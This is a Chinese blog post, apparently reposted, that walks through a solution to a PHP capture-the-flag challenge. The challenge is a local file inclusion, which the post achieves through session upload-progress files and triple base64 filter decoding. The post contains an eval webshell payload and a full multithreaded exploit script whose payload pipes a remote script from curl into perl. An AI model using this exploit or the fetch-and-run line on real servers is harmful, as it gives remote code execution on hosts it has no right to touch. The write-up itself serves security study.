您现在的位置是:首页 > 文章详情

复现One-line-php-challenge

日期:2018-12-09点击:498

https://www.anquanke.com/post/id/162656
http://wonderkun.cc/index.html/?p=718

环境

ubuntu 18.04 php 7.2 

PS:lsb_release -a //查看ubuntu的发行版本

题目

<?php ($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__); ?> 

PS:通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出头6个字符和 @<?php 比对,如果配对成功那么就会包含这个文件,否则就什么都不做

解题思路:

  • 通过 PHP_SESSION_UPLOAD_PROGRESS控制 session 文件
    img_ae262e036d20214201d12e87e3604020.png

php7.2的session文件存储路径是固定的/var/lib/php/sessions/sess_{php_session_id}

img_d43a54ce8a9d136dba3e9fe0878b2a26.png

  • 文件的开头必须是 @<?phpsess文件中的内容
upload_progress_K0rz3n|a:5:{s:10:"start_time";i:1540314711;s:14:"content_length";i:764161;s:15:"bytes_processed";i:5302;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:6:"submit";s:4:"name";s:7:"tmp.gif";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1540314711;s:15:"bytes_processed";i:5302;}}} 
  • 这个文件是以 upload_progress 开头的,不能直接包含,需要控制这个开头。
convert.base64-decode

Base64的索引表由64个ASCII字符组成:0-9,26个英文小写字母a-z,26个英文大写字母:A-Z,除此之外还有额外两个字符"+"和"/"。遇到不符合 base64 规定字符的就会将其忽略

string.strip_tags

从字符串中去除 HTML 和 PHP 标记


img_37f644049c15f03528aeef27dd011ee1.png
最终payload

upload_progress_是16个字符,但是根据 b64 的 decode 规则,其中只有14个字符能解析,但是 14个字符又不是 4 的整数倍,于是我们必须添加两个字符,将其变成16位。必须要保证在加了这个字符以后每次 b64 可解码的位数都是4 的整数倍,要不然就会吞掉我们的 payload。

echo "upload_progress_ZZ".base64_encode(base64_encode(base64_encode('@<?php eval($_GET[1]);'))); 得到: upload_progress_ZZVVVSM0wyTkhhSGRKUjFZeVdWZDNiMHBHT1VoU1ZsSmlUVll3Y0U5M1BUMD0= 
  • 三次解码:


    img_791a3661a2046feb36de21028be77d17.png
  • 查看源码


    img_efe8a35040e95c0eaa9fa5917a787402.png
Orange大佬的 exp
import sys import string import requests from base64 import b64encode from random import sample, randint from multiprocessing.dummy import Pool as ThreadPool HOST = 'http://54.250.246.238/' sess_name = 'iamorange' headers = { 'Connection': 'close', 'Cookie': 'PHPSESSID=' + sess_name } payload = '@<?php `curl orange.tw/w/bc.pl|perl -`;?>' while 1: junk = ''.join(sample(string.ascii_letters, randint(8, 16))) x = b64encode(payload + junk) xx = b64encode(b64encode(payload + junk)) xxx = b64encode(b64encode(b64encode(payload + junk))) if '=' not in x and '=' not in xx and '=' not in xxx: print xxx break def runner1(i): data = { 'PHP_SESSION_UPLOAD_PROGRESS': 'ZZ' + xxx + 'Z' } while 1: fp = open('/etc/passwd', 'rb') r = requests.post(HOST, files={'f': fp}, data=data, headers=headers) fp.close() def runner2(i): filename = '/var/lib/php/sessions/sess_' + sess_name filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename # print filename while 1: url = '%s?orange=%s' % (HOST, filename) r = requests.get(url, headers=headers) c = r.content if c and 'orange' not in c: print if sys.argv[1] == '1': runner = runner1 else: runner = runner2 pool = ThreadPool(32) result = pool.map_async( runner, range(32) ).get(0xffff) 
原文链接:https://yq.aliyun.com/articles/676228
关注公众号

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。

持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。

文章评论

共有0条评论来说两句吧...

文章二维码

扫描即可查看该文章

点击排行

推荐阅读

最新文章